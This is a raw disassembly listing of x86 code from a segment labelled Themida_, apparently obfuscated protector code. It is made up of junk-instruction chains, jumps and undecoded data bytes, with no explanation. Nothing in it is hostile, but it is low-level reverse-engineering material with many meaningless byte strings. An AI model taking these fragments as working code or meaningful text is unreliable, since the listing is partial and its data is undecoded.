xchg ecx, [esp]
mov esp, [esp]
jmp loc_513AC6
; ---------------------------------------------------------------------------
dd 0E33B7ABDh, 5BDD3161h, 1D54E9h
db 0
; ---------------------------------------------------------------------------
loc_50D8BD: ; CODE XREF: Themida_:00515A87j
pop esp
mov [esp], eax
mov eax, 2FA2108Eh
mov edi, eax
pop eax
jmp loc_515E99
; ---------------------------------------------------------------------------
dw 481h
dd 424h, 24048B00h, 4C481h, 55680000h, 89000019h, 4BE2434h
dd 2D000000h, 37448B8h, 0B805F001h, 5E037448h, 0A0D9E9h
db 0
; ---------------------------------------------------------------------------
loc_50D8FD: ; CODE XREF: Themida_:00511AE7j
push eax
push esp
pop eax
add eax, 4
push ecx
mov ecx, 4
push ebx
jmp loc_50C8DA
; ---------------------------------------------------------------------------
db 57h, 89h, 0E7h
dd 4C781h, 0C7810000h, 4, 8B243C87h, 0EA682424h, 89000017h
dd 0E9572434h, 26CBh, 0BE243489h, 4D05F0Bh, 7EEBBB53h
dd 5C29531Ch, 0E95B0824h, 731h, 8B243C29h, 0C483243Ch
dd 7EFC104h, 8107E7C1h, 1EFh, 5CEEE900h, 0E95C0000h, 445h
; ---------------------------------------------------------------------------
loc_50D96C: ; CODE XREF: Themida_:005175DAj
push edi
mov edi, 262C315Ah
jmp loc_513B42
; ---------------------------------------------------------------------------
db 56h
dd 0FFD93EE9h, 490268FFh, 35582EA5h, 0D15AB6FDh, 6101E9h
db 0
; ---------------------------------------------------------------------------
loc_50D98D: ; CODE XREF: Themida_:005100B7j
mov [esp], esi
mov esi, 4000h
mov ebp, esi
jmp loc_512D4E
; ---------------------------------------------------------------------------
dd 96C1815Ch, 89629932h, 2434FFCBh, 820EE959h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_50D9AE: ; CODE XREF: Themida_:005075D3j
mov ebx, [esp]
jmp loc_51015B
; ---------------------------------------------------------------------------
dw 0C181h
dd 4, 4E981h, 0C870000h, 0F43BE924h, 0BA52FFFFh, 4, 4738C181h
dd 68E93A72h
db 3Ch, 2 dup(0)
; ---------------------------------------------------------------------------
loc_50D9DB: ; CODE XREF: Themida_:00513915j
xor edx, ebp
xor ebp, edx
xor edx, ebp
xchg ecx, edx
push ebp
mov ebp, 0FFFFFFFFh
sub ecx, 6C265821h
sub ecx, ebp
add ecx, 6C265821h
jmp loc_50D728
; ---------------------------------------------------------------------------
dd 4EC81h, 3C890000h, 0ED685024h, 58634333h, 0E905E8C1h
dd 0FFFF671Ch
dword_50DA14 dd 582434FFh, 62BB68h, 243C8900h, 9D55E9h, 5C80100h, 514201BDh
; DATA XREF: Themida_:005029B4o
dd 0D315822Dh, 0E951591Eh, 9CFDh
; ---------------------------------------------------------------------------
loc_50DA38: ; CODE XREF: Themida_:00513D7Fj
mov ebp, eax
pop eax
sub ebp, edi
mov edi, [esp]
add esp, 4
add ebp, 2EA6828h
push edx
mov edx, 4A921845h
and ebp, edx
pop edx
push edi
push 45BC7F41h
jmp loc_5144F2
; ---------------------------------------------------------------------------
loc_50DA5D: ; CODE XREF: Themida_:0050D5A9j
mov edi, esp
add edi, 4
push ebp
mov ebp, 4
sub edi, 584E6233h
sub edi, ebp
add edi, 584E6233h
pop ebp
push edi
jmp loc_517DAA
; ---------------------------------------------------------------------------
aNrS?6 db '¸!NR>é?6',0
align 2
loc_50DA8A: ; CODE XREF: Themida_:00503A3Ej
xor edi, esi
jmp loc_516345
; ---------------------------------------------------------------------------
loc_50DA91: ; CODE XREF: Themida_:00506747j
mov edi, esp
add edi, 4
jmp loc_507592
; ---------------------------------------------------------------------------
dw 487h
aSM db '$é³m',0
align 2
dw 0C181h
dd 744A76AAh, 0BD55D101h, 1A7B3D3Ch, 26E9DDF7h, 5E000023h
dd 520CE952h, 0E959FFFFh, 9486h
; ---------------------------------------------------------------------------
loc_50DAC8: ; CODE XREF: Themida_:00504BEEj
pop eax
add esp, 4
sub edi, ebx
push edx
mov edx, 1F753914h
add edi, edx
jmp loc_502EC8
; ---------------------------------------------------------------------------
loc_50DADB: ; CODE XREF: Themida_:0050A810j
mov [esp], edx
mov edx, 5B880893h
add edx, 1
jmp loc_5156F7
; ---------------------------------------------------------------------------
loc_50DAEB: ; CODE XREF: Themida_:0050A898j
not edx
jmp loc_513CE6
; ---------------------------------------------------------------------------
word_50DAF2 dw 28Fh ; DATA XREF: Themida_:00502928o
dd 0FF4FD2E9h, 5AD129FFh, 8124148Bh, 4C4h, 4EC8300h, 0FF240C89h
dd 0E9042474h, 0FFFFBF0Bh, 0C281DA01h, 63F14B2h, 4EC835Bh
dd 0E9241489h, 0FFFF9910h, 8324048Bh, 1C8B04C4h, 0E47DE924h
dd 0F388FFFFh, 66DD285Ah, 9C62E95Bh, 34870000h, 98DCE924h
dd 14890000h, 28ACB624h, 59EBE9F0h, 0FE01FFFFh, 8C6FE9h
db 0
off_50DB5D dd offset dword_450050+3818h ; DATA XREF: Themida_:005027F0o
align 2
dw 2489h
dd 4BF86824h, 2C890000h, 0E9E58924h, 0FFFFDE3Eh, 2FE5CD81h
dd 0CD81013Dh, 7F9A7456h, 7FF3F581h, 53577FBFh, 0A83D86BBh
dd 5BDF891Ch, 228AE9h, 0EB815D00h, 447F6100h, 11E9DD01h
dd 66FFFFF8h, 290C381h, 0E9DD8966h, 4857h, 4C481h, 0F6810000h
dd 0AEC9DCEBh, 492F7A05h, 55F00119h, 734468h, 240C8900h
dd 523E6B9h, 5970E94Ch, 1C890000h, 0E962B724h, 7695h
; ---------------------------------------------------------------------------
loc_50DBE0: ; CODE XREF: Themida_:00515D96j
add edx, 4
push edi
push eax
push 63AA1AE3h
pop eax
shr eax, 1
xor eax, 4A8D0280h
mov edi, eax
pop eax
jmp loc_50EE94
; ---------------------------------------------------------------------------
loc_50DBFD: ; CODE XREF: Themida_:00513380j
xor [esp], ebx
xor ebx, [esp]
xor [esp], ebx
jmp loc_5039FB
; ---------------------------------------------------------------------------
db 1
dd 0E95359CEh, 0FFFFC0C3h
; ---------------------------------------------------------------------------
loc_50DC14: ; CODE XREF: Themida_:00502BD5j
mov esp, [esp]
or edx, eax
shl edx, 1
jmp loc_5173EE
; ---------------------------------------------------------------------------
loc_50DC20: ; CODE XREF: Themida_:0050C286j
pop ebp
add ebp, 64CE1145h
not ebp
jmp loc_50452B
; ---------------------------------------------------------------------------
dw 405h
dd 87000000h, 0E95C2404h, 0FFFF5BD5h, 1390E958h
db 2 dup(0)
word_50DC42 dw 8B66h ; DATA XREF: Themida_:00502804o
dd 68522404h, 3492h, 8904EC83h, 4812424h, 424h, 24048F00h
dd 4240483h, 4EC815Ah, 89000000h, 4BB241Ch, 1000000h, 6213E9DAh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50DC76: ; CODE XREF: Themida_:00510599j
sub ecx, 52215BBDh
sub ecx, eax
add ecx, 52215BBDh
pop eax
add edx, 1FD17B21h
add edx, ecx
sub edx, 1FD17B21h
jmp loc_512BA2
; ---------------------------------------------------------------------------
aQS4 db 9,'ï]é',0Bh,'4',0
align 10h
dd 315BD889h, 2434FFC2h, 8324048Bh, 54E904C4h, 5800001Dh
dd 305E68FDh, 3C890000h, 56BE5624h, 0E950A83Eh, 47B7h
dd 0E934EE80h, 6370h
dword_50DCD0 dd 9D1C77FFh, 19665866h, 0E99C2404h, 0FFFFA048h
; DATA XREF: Themida_:00502A60o
; ---------------------------------------------------------------------------
loc_50DCE0: ; CODE XREF: Themida_:00513FFFj
push 713Dh
mov [esp], edx
mov edx, 6CFD38BBh
xchg edi, edx
xchg ebp, edi
jmp loc_506420
; ---------------------------------------------------------------------------
loc_50DCF6: ; CODE XREF: Themida_:0050F276j
sub ebx, ecx
mov ecx, [esp]
add esp, 4
sub ebx, edx
jmp loc_512D79
; ---------------------------------------------------------------------------
db 0C0h, 0E2h, 4
dd 80A5EA80h, 0E2C091F2h, 0E0EA8003h, 0D028CC2Ch, 95B5E9h
db 0
; ---------------------------------------------------------------------------
loc_50DD1D: ; CODE XREF: Themida_:00506442j
push dword ptr [esp+4]
pop ecx
jmp loc_50EB9B
; ---------------------------------------------------------------------------
loc_50DD27: ; CODE XREF: Themida_:0050F022j
add esp, 4
push edx
mov edx, 3881954h
push 6866h
jmp loc_509282
; ---------------------------------------------------------------------------
loc_50DD3D: ; CODE XREF: Themida_:0050EE8Fj
mov ecx, 16195C1Ch
add ecx, 38FD4F9Eh
add ecx, 6B8E7F86h
add ecx, 2D1372EEh
jmp loc_50D49D
; ---------------------------------------------------------------------------
db 1, 0DEh, 5Bh
aQsig db 'Qé›G',0
align 2
dw 3C8Bh
dd 0E0895024h, 405h, 4C08300h, 5C240487h, 311DEB81h, 0A682AA3h
dd 89000043h, 5AE9240Ch
db 56h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_50DD87: ; CODE XREF: Themida_:005156C2j
pop ecx
xor ebx, [esp]
jmp loc_5087E3
; ---------------------------------------------------------------------------
dd 783BE82Dh, 58C52908h, 2D5DE989h, 734B5CF2h, 5FABE9h
dd 24248B00h, 9C240CFEh, 0FF4D1AE9h, 240C8BFFh, 31F968h
dd 241C8900h, 0B068E389h, 8900003Eh, 0BF572404h, 43977B10h
dd 829E7AB8h, 0E9F82993h, 4AA7h
; ---------------------------------------------------------------------------
loc_50DDD8: ; CODE XREF: Themida_:00503475j
push dword ptr [esp]
push dword ptr [esp]
mov edi, [esp]
add esp, 4
push edi
jmp loc_51427B
; ---------------------------------------------------------------------------
db 50h, 0B4h, 29h
dd 5DF9E9h, 0E9E58800h, 9507h
; ---------------------------------------------------------------------------
loc_50DDFC: ; CODE XREF: Themida_:00516681j
not ebp
inc ebp
push ebp
not dword ptr [esp]
pop ebp
sub ebp, 500F06D1h
sub ebp, 0D45F21Eh
jmp loc_511B59
; ---------------------------------------------------------------------------
db 81h, 0EFh, 0Ch
dd 5E05F61Bh, 4EF81h, 3C330000h, 243C3124h, 5C243C33h
dd 53241489h, 7CB2E9B3h, 535BDA28h, 0C7FE7BB7h, 0FF5EE8E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_50DE41: ; CODE XREF: Themida_:00509177j
pop ebx
jmp loc_511E8E
; ---------------------------------------------------------------------------
db 81h
dd 65D3F8C7h, 5FFE89D6h, 880EBE56h, 8AE95362h, 8300009Fh
dd 0DFF704C4h, 6BE4EF81h, 0C1811052h, 29556E24h, 0BD55F901h
dd 29556E24h, 2C8BE929h, 0E2895224h, 4C281h, 0C2810000h
dd 4, 5C241487h, 0FFCE60E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_50DE91: ; CODE XREF: Themida_:00507B64j
sub esp, 4
mov [esp], eax
mov eax, 7C52ED3h
jmp loc_502F33
; ---------------------------------------------------------------------------
dd 3568C781h, 0C78146CBh, 5B0F0F73h, 8324048Bh, 3C3304C4h
dd 9853E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50DEBE: ; CODE XREF: Themida_:00502ECEj
add ebp, 4
push edx
sub esp, 4
mov [esp], ecx
mov ecx, 3371023Bh
push ebx
push 579E3ADDh
pop ebx
neg ebx
xor ebx, 8B38B63Eh
jmp loc_50E986
; ---------------------------------------------------------------------------
dd 4EC8157h, 89000000h, 4812424h, 424h, 0B1685F00h, 8900001Ah
dd 0F4E92414h, 87FFFFCDh, 248B240Ch, 2404FF24h, 4BB9E99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50DF12: ; CODE XREF: Themida_:0050E53Fj
add ebp, ebx
add ebp, 1F2C3F0Ah
mov ebx, [esp]
add esp, 4
add ebp, 4
sub esp, 4
mov [esp], ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
jmp loc_50AA2F
; ---------------------------------------------------------------------------
dd 80E78159h, 51038821h, 139F68h, 24048900h, 0FF9843E9h
dd 81D729FFh, 0BE0E53C7h, 3C335A1Bh, 8588E924h, 0C5810000h
dd 2A2FD724h, 0B6E9EF01h
db 68h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_50DF6F: ; CODE XREF: Themida_:00504985j
mov [esp], eax
push ebx
jmp loc_506B8A
; ---------------------------------------------------------------------------
loc_50DF78: ; CODE XREF: Themida_:005172C5j
pop esp
mov [esp], ebx
mov edi, [esp]
jmp loc_508850
; ---------------------------------------------------------------------------
loc_50DF84: ; CODE XREF: Themida_:00510023j
push 146Eh
mov [esp], esi
jmp loc_5030C9
; ---------------------------------------------------------------------------
loc_50DF91: ; CODE XREF: Themida_:00509555j
push esp
pop ecx
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
push edx
mov edx, 2
add edi, 64872AF2h
add edi, edx
push ebx
jmp loc_50F931
; ---------------------------------------------------------------------------
loc_50DFB4: ; CODE XREF: Themida_:0050C11Cj
mov ebp, ecx
pop ecx
add ebx, ebp
push dword ptr [esp]
jmp loc_50C22F
; ---------------------------------------------------------------------------
loc_50DFC1: ; CODE XREF: Themida_:00509F49j
pop ecx
jmp loc_50EF24
; ---------------------------------------------------------------------------
db 58h
dd 15BD829h, 2434FFC3h, 0FFF401E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_50DFD5: ; CODE XREF: Themida_:00514B96j
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
push dword ptr [eax]
jmp loc_506361
; ---------------------------------------------------------------------------
dw 0C281h
dd 31A539ADh, 4EC81h, 1C890000h, 4E8BB24h, 22E97D95h, 8BFFFFADh
dd 0C4812434h, 4, 309FE9h
db 0
; ---------------------------------------------------------------------------
loc_50E019: ; CODE XREF: Themida_:0050343Aj
shl edi, 6
xor edi, 0AED2F57Fh
mov eax, edi
pop edi
push ebx
mov ebx, 6F986B83h
xchg esi, ebx
dec esi
xchg esi, ebx
inc ebx
shr ebx, 1
neg ebx
jmp loc_5054E3
; ---------------------------------------------------------------------------
dw 0F681h
dd 6E017A6Ah, 1E2ECE81h, 0C4E928F9h, 8B000084h, 89512424h
dd 0F960E9E1h, 0D4B4FFFFh, 48BE300h, 0E0895024h, 405h
dd 40500h, 4870000h, 24248B24h, 634668h, 24048900h, 5EF3E9h
dd 24740100h, 6B7EE904h, 0E9500000h, 1829h
dword_50E08C dd 0E924248Bh, 0FFFF4A37h ; DATA XREF: Themida_:005028F8o
; ---------------------------------------------------------------------------
loc_50E094: ; CODE XREF: Themida_:0050B183j
push 4268681Ah
pop ebp
inc ebp
shr ebp, 6
add ebp, 6FC271D9h
sub ebp, 3D2FE20Ah
jmp loc_5100BC
; ---------------------------------------------------------------------------
db 56h
dd 8E6EBDBEh, 9AF7B93Bh, 0F101E736h, 1860E95Eh, 0B8500000h
dd 752959EAh, 4258C289h, 2E70CA81h, 0E2C104ADh, 5E28107h
dd 8169362Ch, 5B1AA9F2h, 0E9D68923h, 93A0h
; ---------------------------------------------------------------------------
loc_50E0E8: ; CODE XREF: Themida_:00503DE6j
mov [esp], esi
jmp loc_50E37A
; ---------------------------------------------------------------------------
dd 0E9240489h, 254Bh, 0C5815D54h, 4, 4BD5553h, 89447F61h
dd 0FA87E9EBh, 5653FFFFh, 0E02C0ABEh, 9AEE8158h, 89EE211Dh
dd 1AE95EF3h, 0FF000095h, 1EE92434h, 54FFFF7Bh, 0F47CE95Eh
db 2 dup(0FFh)
word_50E132 dw 8B66h ; DATA XREF: Themida_:00502800o
dd 0EC81240Ch, 4, 83243C89h, 248904ECh, 0B9515324h, 4
dd 3D7DE9h, 59C80100h, 0BB53555Fh, 772C4335h, 0FFF2EFE9h
dd 4C481FFh, 55000000h, 0CE1630BDh, 34E95059h, 0F7000034h
dd 5EAC1D2h, 0C281DAF7h, 2B6C7B4Dh, 0F100E953h, 4E68FFFFh
dd 89000065h, 0E2892414h, 4EC81h, 0C890000h, 1999B924h
dd 0E1C127D3h, 191E6803h, 0EEE90000h, 89FFFF7Bh, 54B1240Ch
dd 7EB75351h, 88FA8852h, 0C05B5AD5h, 0F58007E5h, 0DCC380C1h
dd 0EB80EB28h, 0EB8059DCh, 5158E941h, 0C9810000h, 0D164BD5h
dd 0B91CF181h, 0CD897C77h, 81240C8Bh, 4C4h, 0ADED8100h
dd 8171C11Dh, 885910F5h, 21EA81EFh, 0E9495B54h, 77A9h
dd 0D036EB81h, 32E999E2h
db 8Ch, 2 dup(0)
; ---------------------------------------------------------------------------
loc_50E20B: ; CODE XREF: Themida_:005164C7j
pop ebx
push edi
jmp loc_516163
; ---------------------------------------------------------------------------
loc_50E212: ; CODE XREF: Themida_:005075A1j
add ebp, 4
jmp loc_50B6BA
; ---------------------------------------------------------------------------
db 83h, 0ECh, 4
dd 0FFE971E9h, 240C89FFh, 0FF489EE9h, 4C281FFh, 127DE0Bh
dd 4EA81C2h, 8127DE0Bh, 8040DEEAh, 0BE56587Dh, 16A35439h
dd 0DEF7DEF7h, 1E5FE681h, 0D6F70557h, 0EBE4F681h, 37E9FBFCh
db 7Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_50E25F: ; CODE XREF: Themida_:0050EC7Bj
shl ecx, 2
xor ecx, 80F6981h
xor ebx, ecx
pop ecx
add ebx, 1B17B0DCh
mov eax, ebx
pop ebx
xor esi, eax
pop eax
jmp loc_516FD0
; ---------------------------------------------------------------------------
dd 8159CB31h, 0B8310CF3h, 6E3C11Dh, 4B4668h, 240C8900h
dd 42A9DCB9h, 8BCB01C2h, 0C481240Ch, 4, 4AD3874Bh, 0F793D387h
dd 0EB8193D0h, 3A80A4Bh, 0FFD1C1E9h, 0FDC781FFh, 8B79AD51h
dd 9CE92434h, 0BF000093h, 0A05BB1C8h, 8D25E9h
db 0
; ---------------------------------------------------------------------------
loc_50E2CD: ; CODE XREF: Themida_:00506F20j
mov edi, 4
sub dword ptr [esp+4], 1F7D58BFh
add [esp+4], edi
jmp loc_517589
; ---------------------------------------------------------------------------
db 8Bh
dd 0C483241Ch, 2434FF04h, 317CE9h, 34FF5C00h, 2434FF24h
dd 4CDCE959h, 0C681FFFFh, 71D4510h, 95E9F001h
db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50E30B: ; CODE XREF: Themida_:00506898j
mov ecx, esp
push edx
push ecx
mov ecx, 7CF5FC4h
sub ecx, 104F3D42h
shl ecx, 1
dec ecx
xor ecx, 74C65886h
xor ecx, 9BC61D81h
mov edx, ecx
jmp loc_5068FC
; ---------------------------------------------------------------------------
dd 4C481h, 81560000h, 4ECh, 0EBFAE900h
db 2 dup(0FFh)
word_50E342 dw 34FFh ; DATA XREF: Themida_:00502A04o
dd 0F3685824h, 89000049h, 5EE9240Ch, 81000027h, 0CC20EEC7h
dd 52E95115h, 2800001Fh, 8D5FE9F0h, 0C281FFFFh, 6B621B47h
dd 0BB8EA81h, 48B6408h, 71AE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_50E37A: ; CODE XREF: Themida_:0050E0EBj
mov esi, 3BA457CAh
jmp loc_5063E5
; ---------------------------------------------------------------------------
loc_50E384: ; CODE XREF: Themida_:005098EEj
push esp
pop edx
push ecx
jmp loc_5127DF
; ---------------------------------------------------------------------------
dd 7AEA815Ch, 81679416h, 0E20CF3C2h, 50EA0167h, 262C04B8h
dd 7DF5E90Eh, 1C8BFFFFh, 4C48124h, 30000000h, 9A3AE9C3h
dd 0C8680000h, 0E9000030h, 0A23h, 2EF81h, 3C870000h, 89665C24h
dd 58E9240Ch, 81000072h, 4C02B4C5h, 5B8E938h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_50E3DE: ; CODE XREF: Themida_:005109F8j
add ecx, 4
add ecx, 4
xchg ecx, [esp]
mov esp, [esp]
shr ecx, 0Bh
jmp loc_50B677
; ---------------------------------------------------------------------------
loc_50E3F5: ; CODE XREF: Themida_:0051560Ej
pop esp
add esp, 4
jmp loc_502ACB
; ---------------------------------------------------------------------------
aZrsD db ']ZRéÑd',0
db 0
byte_50E409 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:005029C4o
dd 0D259669Dh, 0E99C2414h, 0FFFF46B3h
; ---------------------------------------------------------------------------
loc_50E418: ; CODE XREF: Themida_:00503117j
add ecx, eax
jmp loc_50BD38
; ---------------------------------------------------------------------------
loc_50E41F: ; CODE XREF: Themida_:0050B5E6j
mov ecx, ebp
jmp loc_50AD46
; ---------------------------------------------------------------------------
dw 0EEC1h
dd 1312E908h, 0E95F0000h, 0FFFF511Bh, 8EB95156h, 517A722Fh
dd 0FCED02B9h, 59CE8974h, 0D5E9CE29h, 0FFFFF65h, 5451C8BFh
dd 83240C8Bh, 7E6804C4h, 89000049h, 0E589242Ch, 4C581h
dd 0ED810000h, 4, 5C242C87h, 81242C89h, 4ECh, 0A2C2E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50E47E: ; CODE XREF: Themida_:00516067j
mov esp, [esp]
push 1
jmp loc_5076CE
; ---------------------------------------------------------------------------
db 0BBh
dd 5FC2195Fh, 5308EBC1h, 0E9240CFFh, 0FFFFC081h
; ---------------------------------------------------------------------------
loc_50E49C: ; CODE XREF: Themida_:00508AC5j
add edx, 4
jmp loc_512909
; ---------------------------------------------------------------------------
dd 0E924148Bh, 3E29h, 8D18F381h, 0D9291715h, 71BAE9h
db 0
; ---------------------------------------------------------------------------
loc_50E4B9: ; CODE XREF: Themida_:005032E2j
xor eax, 11292DB7h
mov edx, eax
pop eax
add edi, edx
push dword ptr [esp]
pop edx
add esp, 4
push ecx
mov ecx, 4
jmp loc_510049
; ---------------------------------------------------------------------------
dd 4C481h, 0E9520000h, 328h
; ---------------------------------------------------------------------------
loc_50E4E4: ; CODE XREF: Themida_:00517084j
pop ecx
pop dword ptr [esp]
pop esp
xor eax, ebp
xor ebp, eax
xor eax, ebp
push ebp
push 47B6h
mov [esp], edx
jmp loc_509EB4
; ---------------------------------------------------------------------------
loc_50E4FD: ; CODE XREF: Themida_:005125E9j
and eax, edx
push dword ptr [esp]
push dword ptr [esp]
jmp loc_516655
; ---------------------------------------------------------------------------
loc_50E50A: ; CODE XREF: Themida_:005162CBj
push ebp
mov ebp, 715F3ADCh
sub edi, ebp
jmp loc_515D7A
; ---------------------------------------------------------------------------
loc_50E517: ; CODE XREF: Themida_:0050756Aj
pop eax
push eax
push ebp
mov ebp, 7321248Fh
sub [esp+4], ebp
pop ebp
pop ecx
push ebx
jmp loc_514CC7
; ---------------------------------------------------------------------------
loc_50E52B: ; CODE XREF: Themida_:005168E3j
add edx, 73340498h
push dword ptr [esp]
jmp loc_506F00
; ---------------------------------------------------------------------------
loc_50E539: ; CODE XREF: Themida_:00514263j
sub ebp, 1F2C3F0Ah
jmp loc_50DF12
; ---------------------------------------------------------------------------
dd 4BBh, 5BD90100h, 8704E983h, 61E9240Ch, 83FFFF4Bh, 0C28104C4h
dd 0F86A0CDFh, 685AD001h, 5ECFh, 0BB241C89h, 499268E0h
dd 70E9D831h
db 7Ah, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50E577: ; CODE XREF: Themida_:0050D5D4j
mov eax, [esp]
add esp, 4
jmp loc_505566
; ---------------------------------------------------------------------------
db 5Eh, 57h, 53h
dd 4BBh, 5BDF8900h, 875FFA01h, 815C2414h, 401B242Ch, 2C817530h
dd 0DD18F824h, 2404014Fh, 0F8240481h, 834FDD18h, 1C8904ECh
dd 401BBB24h, 0BF577530h, 0FA4012h, 8246C81h, 278131Dh
dd 8247C01h, 8244481h, 278131Dh, 0E9243C8Bh, 0FFFF4EFAh
dd 0E2F1E950h, 2C8BFFFFh, 4C48124h, 33000000h, 0C31240Ch
dd 240C3324h, 0E924248Bh, 0FFFF44CFh, 4EC815Eh, 89000000h
dd 38BD242Ch, 293A7247h, 0FDEFE9E9h, 1489FFFFh, 2474FF24h
dd 2434FF04h, 0E689565Ah, 4C681h, 0C6810000h, 4, 8B243487h
dd 48F2424h, 24248B24h, 68241C89h, 903h, 0FF6638E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_50E645: ; CODE XREF: Themida_:00510394j
push edx
mov edx, 60444AEh
push ebx
mov ebx, 5DF0C8BFh
add edx, ebx
pop ebx
and ebp, edx
mov edx, [esp]
add esp, 4
sub ebp, 538D73BCh
dec ebp
neg ebp
and ebp, 524E579Eh
jmp loc_515D20
; ---------------------------------------------------------------------------
db 83h
dd 17E904ECh
db 0C0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50E67B: ; CODE XREF: Themida_:00507FF0j
pop esp
jmp loc_503007
; ---------------------------------------------------------------------------
db 29h, 0FAh, 0E9h
dd 0FFFFED81h, 1B4830B9h, 89F1810Ch, 4961E636h, 8108E1C1h
dd 814804C1h, 4C45E902h, 295FFFFFh, 8CADE9F2h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_50E6AA: ; CODE XREF: Themida_:0050CEBDj
add esi, 9FD59Bh
add ebx, esi
pop esi
jmp loc_50A213
; ---------------------------------------------------------------------------
loc_50E6B8: ; CODE XREF: Themida_:005075EFj
push edx
jmp loc_5109CA
; ---------------------------------------------------------------------------
dw 5740h
dd 0FFAC64E9h, 0C1815FFFh, 4, 9485E9h, 50EF8100h, 8112225Fh
dd 0E715A0CFh, 0AE91E908h, 0BBB8FFFFh, 0E9202652h, 0FFFFA533h
dd 2414895Ch, 0EE80EE88h, 86D0E901h, 0B866FFFFh, 0C4E97627h
dd 8BFFFFAEh, 0C4832414h, 53FDE904h, 0EC81FFFFh, 4, 0E9241489h
dd 0FFFF7367h
; ---------------------------------------------------------------------------
loc_50E71C: ; CODE XREF: Themida_:0050D50Fj
mov esp, [esp]
idiv cx
push 48CEh
mov [esp], ebp
push esp
pop ebp
push edi
mov edi, 34866351h
sub esp, 4
mov [esp], edx
push eax
mov eax, 23F42D02h
push ebp
mov ebp, eax
mov edx, ebp
mov ebp, [esp]
add esp, 4
pop eax
and edi, edx
push dword ptr [esp]
pop edx
add esp, 4
jmp loc_505339
; ---------------------------------------------------------------------------
dd 81242C89h, 16822434h, 1C8B48D9h, 1321E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_50E76A: ; CODE XREF: Themida_:00503492j
xor cl, 61h
add cl, 58h
shr cl, 3
shl cl, 6
add cl, 34h
jmp loc_508FC3
; ---------------------------------------------------------------------------
dw 8468h
dd 8900007Eh, 64E92404h, 50000027h, 4EA1BF57h, 0F7813262h
dd 470C5027h, 0E7B6EF81h, 0F8890B5Eh, 4CF6355Fh, 0C22964B2h
dd 0FFF37BE9h, 3EE941FFh
db 4, 2 dup(0)
; ---------------------------------------------------------------------------
loc_50E7B3: ; CODE XREF: Themida_:00504EBAj
or edx, eax
jmp loc_510AF9
; ---------------------------------------------------------------------------
dw 0F205h
dd 8B734B5Ch, 0E9E9240Ch, 81FFFF85h, 0ED1183E9h, 5DBAE979h
dd 83BB0000h, 3175B350h, 0BB535BDFh, 30670D84h, 0F702EBC1h
dd 0E9DBF7D3h, 171Ch
; ---------------------------------------------------------------------------
loc_50E7EC: ; CODE XREF: Themida_:00508538j
neg ecx
xor ecx, 0C198F434h
add ecx, 77101575h
xchg ebp, ecx
not ebp
xor ecx, ebp
xor ebp, ecx
xor ecx, ebp
inc ecx
inc ecx
push edi
jmp loc_5034C8
; ---------------------------------------------------------------------------
dd 0D2F6BDB2h, 0E9B2C280h, 4219h, 815A5452h, 4C2h, 4EA8300h
dd 5C241487h, 55240489h, 8D233CBDh, 5DE88929h, 3504E0C1h
dd 80D4386Ah, 31A468h, 24148900h, 0FFEBCBE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_50E849: ; CODE XREF: Themida_:0050680Dj
push offset dword_43A4C0
mov ebx, [esp]
add esp, 4
sub edi, ebx
jmp loc_5101B3
; ---------------------------------------------------------------------------
loc_50E85E: ; CODE XREF: Themida_:0051403Bj
add esp, 4
add ebp, 4
jmp loc_5079D1
; ---------------------------------------------------------------------------
dd 0E9F8B450h, 0FFFF9063h
dword_50E874 dd 24048B66h, 34FF5453h, 0C4815B24h, 4, 52555155h, 0BD0BD9BAh
; DATA XREF: Themida_:005028E4o
dd 60F28173h, 8951A905h, 0C8B5E9D5h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50E89A: ; CODE XREF: Themida_:0050E908j
push ebx
push esi
push 6D7C48B2h
pop esi
inc esi
push esi
not dword ptr [esp]
jmp loc_50B5AC
; ---------------------------------------------------------------------------
dword_50E8AC dd 9D1C77FFh, 0D3665966h, 0E99C2414h, 0FFFF420Fh, 0BE56D9F7h
; DATA XREF: Themida_:005028E8o
dd 2B5652F6h, 0E903E6C1h, 0FFFFB088h, 0D380F181h, 3FE99B69h
dd 8100002Ah, 4E9h, 240C8700h, 240C895Ch, 8B1AD9B9h, 3E1C106h
dd 355DBE56h, 0EE8131E4h, 663D0C21h, 15EF101h, 0CFE959CBh
db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50E903: ; CODE XREF: Themida_:005163B4j
neg ebp
shr ebp, 2
jmp loc_50E89A
; ---------------------------------------------------------------------------
db 5Ch, 66h, 31h
dd 0E99C2404h, 0FFFF41B3h, 26FAC781h, 0E7C1717Bh, 59D4E908h
dd 0E6800000h, 6EEC088h, 0FFAA40E9h, 240CD3FFh, 4191E99Ch
dd 8851FFFFh, 5330E9D9h, 0F1810000h, 14CA50ACh, 51DE181h
dd 7AE92BC0h, 29FFFFB9h, 24048BC2h, 4C481h, 0BB530000h
dd 6794167Ah, 3C2DE9h
db 0
; ---------------------------------------------------------------------------
loc_50E969: ; CODE XREF: Themida_:00512DA0j
mov ecx, [esp]
add esp, 4
dec bh
sub bh, 21h
add al, 0F3h
sub al, bh
sub al, 0F3h
mov ebx, [esp]
push ebx
jmp loc_514221
; ---------------------------------------------------------------------------
